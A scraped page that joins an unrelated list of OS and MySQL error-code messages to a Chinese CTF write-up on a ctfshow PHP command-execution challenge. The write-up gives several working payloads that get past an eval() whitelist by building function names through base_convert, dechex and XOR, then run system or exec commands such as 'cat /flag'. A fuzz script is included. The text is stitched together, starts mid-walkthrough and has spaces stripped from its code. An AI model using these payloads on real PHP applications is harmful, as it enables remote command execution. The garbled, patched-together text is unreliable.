“OS error code 49: Protocol driver not attached” “OS error code 50: No CSI structure available” “OS error code 51: Level 2 halted” “OS error code 52: Invalid exchange” “OS error code 53: Invalid request descriptor” “OS error code 54: Exchange full” “OS error code 55: No anode” “OS error code 56: Invalid request code” “OS error code 57: Invalid slot” “OS error code 59: Bad font file format” “OS error code 60: Device not a stream” “OS error code 61: No data available” “OS error code 62: Timer expired” “OS error code 63: Out of streams resources” “OS error code 64: Machine is not on the network” “OS error code 65: Package not installed” “OS error code 66: Object is remote” “OS error code 67: Link has been severed” “OS error code 68: Advertise error” “OS error code 69: Srmount error” “OS error code 70: Communication error on send” “OS error code 71: Protocol error” “OS error code 72: Multihop attempted” “OS error code 73: RFS specific error” “OS error code 74: Bad message” “OS error code 75: Value too large for defined data type” “OS error code 76: Name not unique on network” “OS error code 77: File descriptor in bad state” “OS error code 78: Remote address changed” “OS error code 79: Can not access a needed shared library” “OS error code 80: Accessing a corrupted shared library” “OS error code 81: .lib section in a.out corrupted” “OS error code 82: Attempting to link in too many shared libraries” “OS error code 83: Cannot exec a shared library directly” “OS error code 84: Invalid or incomplete multibyte or wide character” “OS error code 85: Interrupted system call should be restarted” “OS error code 86: Streams pipe error” “OS error code 87: Too many users” “OS error code 88: Socket operation on non-socket” “OS error code 89: Destination address required” “OS error code 90: Message too long” “OS error code 91: Protocol wrong type for socket” “OS error code 92: Protocol not available” “OS error code 93: Protocol not supported” “OS error code 94: Socket type not supported” “OS error code 95: Operation not supported” “OS error code 96: Protocol family not supported” “OS error code 97: Address family not supported by protocol” “OS error code 98: Address already in use” “OS error code 99: Cannot assign requested address” “OS error code 100: Network is down” “OS error code 101: Network is unreachable” “OS error code 102: Network dropped connection on reset” “OS error code 103: Software caused connection abort” “OS error code 104: Connection reset by peer” “OS error code 105: No buffer space available” “OS error code 106: Transport endpoint is already connected” “OS error code 107: Transport endpoint is not connected” “OS error code 108: Cannot send after transport endpoint shutdown” “OS error code 109: Too many references: cannot splice” “OS error code 110: Connection timed out” “OS error code 111: Connection refused” “OS error code 112: Host is down” “OS error code 113: No route to host” “OS error code 114: Operation already in progress” “OS error code 115: Operation now in progress” “OS error code 116: Stale NFS file handle” “OS error code 117: Structure needs cleaning” “OS error code 118: Not a XENIX named type file” “OS error code 119: No XENIX semaphores available” “OS error code 120: Is a named type file” “OS error code 121: Remote I/O error” “OS error code 122: Disk quota exceeded” “OS error code 123: No medium found” “OS error code 124: Wrong medium type” “OS error code 125: Operation canceled” “OS error code 126: Required key not available” “OS error code 127: Key has expired” “OS error code 128: Key has been revoked” “OS error code 129: Key was rejected by service” “OS error code 130: Owner died” “OS error code 131: State not recoverable” “MySQL error code 132: Old database file” “MySQL error code 133: No record read before update” “MySQL error code 134: Record was already deleted (or record file crashed)” “MySQL error code 135: No more room in record file” “MySQL error code 136: No more room in index file” “MySQL error code 137: No more records (read after end of file)” “MySQL error code 138: Unsupported extension used for table” “MySQL error code 139: Too big row” “MySQL error code 140: Wrong create options” “MySQL error code 141: Duplicate unique key or constraint on write or update” “MySQL error code 142: Unknown character set used” “MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table” “MySQL error code 144: Table is crashed and last repair failed” “MySQL error code 145: Table was marked as crashed and should be repaired” “MySQL error code 146: Lock timed out; Retry transaction” “MySQL error code 147: Lock table is full; Restart program with a larger locktable” “MySQL error code 148: Updates are not allowed under a read only transactions” “MySQL error code 149: Lock deadlock; Retry transaction” “MySQL error code 150: Foreign key constraint is incorrectly formed” “MySQL error code 151: Cannot add a child row” “MySQL error code 152: Cannot delete a parent row”
那么這個(gè)<A;echo $?
就會輸出 1 了。
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的機(jī)會,不斷刷新 /bin/base64
<?php error_reporting(0); //聽說你很喜歡數(shù)學(xué),不知道你是否愛它勝過愛flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //常用數(shù)學(xué)函數(shù)http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數(shù)"); } } //幫你算出答案 eval('echo '.$content.';'); }
這道題也是見過好多次了,但是沒有深究。
首先接收一個(gè)c
, 長度還不能大于 80 。還不能有黑名單中的 空格、\t
、\r
、\n
、引號、方括號。然后設(shè)置白名單,必須符合。也就是必須輸入白名單中的函數(shù)。
做題思路:
首先 php 允許把函數(shù)名通過字符串方式傳遞給一個(gè)變量,然后通過變量動(dòng)態(tài)調(diào)用函數(shù)。如$a="abc";$A()
就會執(zhí)行 abc() 函數(shù)。
php 中函數(shù)名默認(rèn)為字符串,可以進(jìn)行異或。
方法1
想辦法構(gòu)造$_GET[1]
再傳參getflag,但是其實(shí)發(fā)現(xiàn)構(gòu)造這個(gè)很難。。。因?yàn)?code>$、_
、[
、]
都不能用,同時(shí)GET
必須是大寫,很難直接構(gòu)造。
base_convert
函數(shù)在任意進(jìn)制之間轉(zhuǎn)換數(shù)字。
可以使用這個(gè)函數(shù)講其他進(jìn)制數(shù)轉(zhuǎn)為36進(jìn)制,而是36進(jìn)制是包含所有數(shù)字和小寫字母的。但終究無法構(gòu)造GET
大寫字母。但又可以構(gòu)造其他的小寫字母函數(shù),讓構(gòu)造的函數(shù)轉(zhuǎn)換。
hexdec()
函數(shù)把十六進(jìn)制轉(zhuǎn)換為十進(jìn)制。
dechex()
函數(shù)把十進(jìn)制數(shù)轉(zhuǎn)換為十六進(jìn)制數(shù)。
bin2hex()
函數(shù)講 ASCII 字符轉(zhuǎn)換為十六進(jìn)制值,字符串可通過 pack() 或者 hex2bin() 函數(shù)轉(zhuǎn)換回去。
hex2bin()
函數(shù)把十六進(jìn)制值得字符轉(zhuǎn)換為 ASCII 字符。
那么我們就可以想象一下,把_GET
先利用bin1hex()
轉(zhuǎn)換為 十六進(jìn)制,在利用hexdec()
轉(zhuǎn)換為十進(jìn)制,那么反過來就可以把 一段數(shù)字轉(zhuǎn)換為字符。
但是binhex() hexdec()
等不是白名單的函數(shù),要從哪里來?
這時(shí)候就要看base_convert()
得作用了,因?yàn)樯厦娴暮瘮?shù)都是小寫的,所以可以利用此函數(shù)將一個(gè)十進(jìn)制數(shù)的數(shù)字轉(zhuǎn)為十六進(jìn)制的小寫字符。
那么怎么才能直到這個(gè)數(shù)呢?我們可以先逆向?qū)⑹M(jìn)制字符轉(zhuǎn)換為十進(jìn)制數(shù),得到該數(shù)字,最終逆向構(gòu)造即可。
echobase_convert('hex2bin',36,10);
# 得到 37907361743
echobase_convert(37907361743,10,36);
# 反過來就可以得到 hex2bin
在將_GET
反向構(gòu)造出來:
echobin2hex('_GET');
# 得到 5f474554 將字符轉(zhuǎn)換為十六進(jìn)制
echohexdec('5f474554');
# 得到 1598506324 將十六進(jìn)制轉(zhuǎn)為十進(jìn)制。
echodechex(1598506324);
echohex2bin('5f474554');
# 逆向最終得到 _GET
白名單中有dechex()
、hexdec()
函數(shù),但是沒有hex2bin()
、bin2hex()
函數(shù),但是我們可以使用base_convert()
函數(shù)構(gòu)造任意小寫函數(shù)。
串起來構(gòu)造
echobase_convert(37907361743,10,36)dechex(1598506324)
可以用{}
代替[]
構(gòu)造
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls
# 得到 _GETflag.php index.php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=catflag.php
# 得到 flag
方法2
可以構(gòu)造getallheaders()
傳參,此是小寫的,可以直接用base_convert
轉(zhuǎn)換。
狗早:
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(696468,10,36) =>"exec"
$pi(8768397090111664438,10,30) =>"getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中間用逗號隔開,echo都能輸出
echoxx,yy
getallheaders
— Fetch all HTTP request headers
經(jīng)測試,這里列目錄的時(shí)候只能顯示一個(gè)文件名,故可以base64編碼后輸出。
1: ls|base64
方法3
直接cat f*
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
方法4
前面都是利用白名單的數(shù)學(xué)函數(shù)將數(shù)字轉(zhuǎn)成字符串,其實(shí)也可以異或構(gòu)造這是fuzz腳本
<?php
$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i=0;$i<9; $i++){
for($j=0;$j<=9;$j++){
$exp=$payload[$k] ^$i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo"<br />";
}
}
}
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
上述就是小編為大家分享的php中如何進(jìn)行ctfshow命令執(zhí)行了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。
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